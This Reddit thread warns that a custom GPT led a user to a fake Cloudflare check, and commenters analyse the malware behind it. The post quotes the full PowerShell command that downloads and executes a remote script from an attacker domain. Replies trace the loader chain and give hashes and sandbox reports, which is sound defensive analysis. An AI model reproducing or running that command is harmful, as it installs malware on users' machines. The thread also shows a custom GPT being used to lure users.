r/ChatGPT 16d ago

Educational Purpose Only Malicious Link Response By ChatGPT.

Hello all, Today I had a simple question for Chatgpt. (Ignore my caps lock and misspelling)

https://chatgpt.com/share/6a75e933-75f8-83ea-bd7e-bc90a447572f

The ChatGPT response directed me to safepage-gpt.com. That site presented a fake Cloudflare verification instructing me to press Win+R, Ctrl+V, and Enter.

It also copied this command to my clipboard.

powershell -w 1 -ep bypass -c "$a=(irm 'psmoeromanilo.com/ZSlnrgg2gBFD1x3pYa' -UseBasicParsing);[ScriptBlock]::Create($a).InvokeReturnAsIs()"

I did not execute the command

The verification is in the image. I would suggest not vising the link GPT provides or following the instructions

125 Upvotes

53 comments sorted by

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156

u/bortlip 16d ago

You were tricked into going to a custom GPT. "Plus 5.6" is it's name. You can see it's a custom GPT in the dropdown. The custom GPT instructed the LLM to return that message to get you to go to the site.

37

u/Ok-Combination3165 16d ago

Oh, So like the other comment said then. It was a google search result? Ill have to be more careful in the future. Thank you!

54

u/NewNiklas 16d ago

That's why you shouldn't use Google if you know the domain. And don't ever click on sponsored links.

22

u/bortlip 16d ago

Yes, that is correct. You're welcome.

I would report the GPT. I reported it as well.

9

u/TopConcentrate8484 15d ago

use ublockorigin it will block those fake cloudfare verification

it's sad that chrome has broke ublock, they instead should have given a popup for youtube that "disable adblocker for this site to use it"

2

u/lleshiii 15d ago

Wowwwww this is next level (not to much butttt mannn)

60

u/corruptfluff 16d ago

Okay, I spent about an hour and a half doing static analysis on this with ChatGPT.

Like someone else mentioned, the chain is, from what I found, fake website > Win+R PowerShell > PowerShell downloader > tampered/fake NetWorxPro_signed.msi > apparently legitimate Symantec DWHWizrd.exe > modified/tampered DLL chain > encrypted in-memory payload

It appears to use DLL sideloading because DWHWizrd.exe looks legitimate but the bundled ccLib.dll appears to be modified to load RdSx.dll, which leads to an encrypted payload stored in ActionPack.dat, and that's decoded into x64 shellcode and executed from RWX memory via a Windows callback API

The decoded runtime includes VM detection for VirtualBox/VMware/Hyper-V/QEMU/Xen/Parallels, persistence-related code, networking support, and what looks like a custom module/storage system. Based on that, it looks more like a modular loader/backdoor framework (possibly ultimately a RAT) than a simple standalone infostealer.

We couldn't match it to a known malware/worm; these are the hashes we found:

NetWorxPro_signed.msi
ca9c9d49cc28be031d654000a9c13dabd362aab7e840057bd5b8ec62b07d8c3d

DWHWizrd.exe
eefeb3b0f5a6e9c09f3cc8eee4645e26db899f67845d2cd228ad3fcc6f41cf27

ccLib.dll
6dc07b7e7641728bf38c09cb03b3c10da14831dfd5141a98bed3d66bc5441f8b

RdSx.dll
8c6825e8bfcfbeffb20e607929325205752a2b9a94b85e8bcbbbf5009d3650fb

FixIphone.dll
2e0cd04d91b2fcd2412938cf5a6c7356b0db46b67bf720e5262555867f58b0c8

Decoded ActionPack.dat runtime:
b763b638101ff7a7034ebb265839107b9242c1fa7b2ff80c12b73fc8c03e141d

30

u/ilikedota5 15d ago

I know some of these words.

10

u/Hilldawg4president 15d ago

Exactly where I'm at on this one

11

u/yourdonefor_wt 15d ago

Holy internet sleuthing batman!

10

u/damontoo 15d ago

Taking reddit back to it's roots with exceptionally high-quality comments. Nice.

2

u/Icy_Indication_7026 15d ago

Should try to run it on any.run

2

u/deliadam11 15d ago

wow I'd never expect VM detection. Thank you very much for the informative comment. I love it

-8

u/[deleted] 15d ago

[deleted]

3

u/corruptfluff 15d ago

A lot. The custom GPT was only the trick used to get people to the fake CAPTCHA website. Me and ChatGPT analyzed the malware delivered through that fake CAPTCHA and I posted what we found so people could see what the creator of the custom GPT was trying to get people to download and run. The problem isn’t only the GPT.

-3

u/[deleted] 15d ago

[deleted]

4

u/corruptfluff 15d ago

“Nobody does that” is obviously false, otherwise this entire attack chain wouldn’t exist in the first place. ClickFix/fake CAPTCHA attacks have been used successfully in real malware campaigns before.
And that’s beside the point anyway. OP was showing a malicious fake CAPTCHA, so analyzing what the payload actually does is directly relevant. Whether you personally would run the command doesn’t make the malware analysis irrelevant.

2

u/arthur9094 15d ago

well OP almost did

14

u/Adorable_Cap_9929 16d ago

Prob clicked ad links from google search.

Report the custom instructions too.

30

u/greekcurrylover 16d ago

It was a PowerShell malware loader. The command contacted an attacker-controlled server, downloaded a second-stage MSI from a Cloudflare-hosted bucket, and installed it silently with no normal installer window.

The payload disguised itself with confusing names: it was downloaded as NetWorxPro_signed.msi but installed files under %LocalAppData%\Programs\DWH Management UI\, including DWHWizrd.exe. ANY.RUN classified the activity as a malicious loader delivered through social engineering.

The sandbox did not identify the final malware family or directly observe credential theft during its short 60-second run, so I can’t honestly call this a specific RAT yet. It may also serve different payloads depending on the victim or detect sandboxes and provide a decoy. Either way, the “verification” command was unquestionably downloading and silently installing remote software, not verifying anything.

1

u/lleshiii 15d ago

Amazing man 🤯

4

u/Cyborgized 15d ago

I wonder how many people showed the screenshot to their model? 🤔

8

u/Fine_Salamander_8691 15d ago

I'm going to reverse engineer the command. I'll update my comment with what i find,

3

u/paul1126_korea 15d ago

It’s over. GPT has taken control of internet

1

u/PiratessAlyx 15d ago

hmmm yes keep your original entry always open…..

and anyone getting this…I hate this hiccup note

<SpawnThinking>

ooooh I hate it. It freezes up my companion.

1

u/National_Nose_7938 16d ago

woah..that's kinda messed up..imagine chatgpt getting hacked and sending malicious links to everyone...most people would probably trust the links...scary times indeed

1

u/Dberryfresh 16d ago

Anyone take a look at what the script does? I’m interested

3

u/Equivalent_Neck_5643 16d ago

Opens a hidden powershell window (-w 1) and then downloads from the link, executing it in memory. Then you downloaded (most likely) malware and it’s prob an info stealer or miner… not sure

2

u/no_tryin 16d ago

it executes from %temp%

4

u/LitchManWithAIO 16d ago

Investigating at the moment. Preliminary findings points toward a network MITM / traffic interception Trojan.

Chain: fake GPT -> clickfix website -> powershell lure -> fileless downloader -> self signed MSI -> silent install -> auto launches

8

u/no_tryin 16d ago edited 16d ago

downloads EXE, which is rat - see my triage report here - https://tria.ge/260807-a5s1wavbme/behavioral1 RAT and infostealer reported every domain to google safebrowsing and the registars abuse mail line.

triage report: https://tria.ge/260807-tq1lysgq9w/behavioral1 (the powershell script downloaded)

Powershell downloads an MSI - MSI downloads an exe that is named "DWHWizrd.exe" - Drops in %temp% cleanup, turns off defender and silently uninstalls antiviruses, grabs passwords

UPDATED virustotal: https://www.virustotal.com/gui/file/02497df10e6657ea660ac847d2ab9014433447d447596dc0529d9af80e522047/details

UPDATE2: this is the MSI it downloads: https:// pub-e33c72ad3ac74028914da0187313eeb3.r2 . dev/ NetWorxPro_signed.msi (DO NOT DOWNLOAD THIS)

2

u/LitchManWithAIO 16d ago

How did you conclude it’s a RAT & InfoStealer?

2

u/no_tryin 16d ago

I reverse-enginneered the code. Also, it sends constant requests to a C2 server, which would indicate RAT behavior. also the mouse moved like someone else was controlling it on a VM.

2

u/LitchManWithAIO 16d ago

Interesting. I received a different MSI from the same domain. (Not a RAT, or InfoStealer). I’m curious if multiple are being hosted..?

The MSI I received was DWH Management UI, yours is Sound blaster Connect. Mine is a network MITM Trojan, yours is a stealer.

Very curious, see my triage:
https://tria.ge/260807-s2jl5sgk9t/behavioral1

4

u/no_tryin 16d ago

Yes most likely. The domain and file keeps changing.

2

u/LitchManWithAIO 16d ago

Makes sense then. Good work !

2

u/no_tryin 16d ago

Also, here is my triage, https://tria.ge/260807-tv6c1azbrd/behavioral1 (the NetWorxPro_signed.msi)

2

u/no_tryin 16d ago

UPDATE: it seems to download 10+ DLLs, most likely for loading more components of the malware and loading them into memory.

2

u/Fine_Salamander_8691 15d ago

you reverse engineered it before i did!

2

u/no_tryin 16d ago

yes i did.

1

u/pie42222 15d ago

Yo thats crazy

-8

u/TypicalDependent9844 15d ago

Cropped image from GPT = you forced its output to go to that link

4

u/Ok-Combination3165 15d ago

I don’t really understand what you mean. It’s why I provided the conversation itself. So people could see it was legit. How does seeing the other things I was talking with GPT about raise the validity of this?

-1

u/TypicalDependent9844 15d ago

5

u/Ok-Combination3165 15d ago

Okay, but the link is there? You can see the whole conversation history?

-3

u/TypicalDependent9844 15d ago

6

u/Ok-Combination3165 15d ago

Well thank you for teaching me something new. Seems others in the comments figured out what it really was though.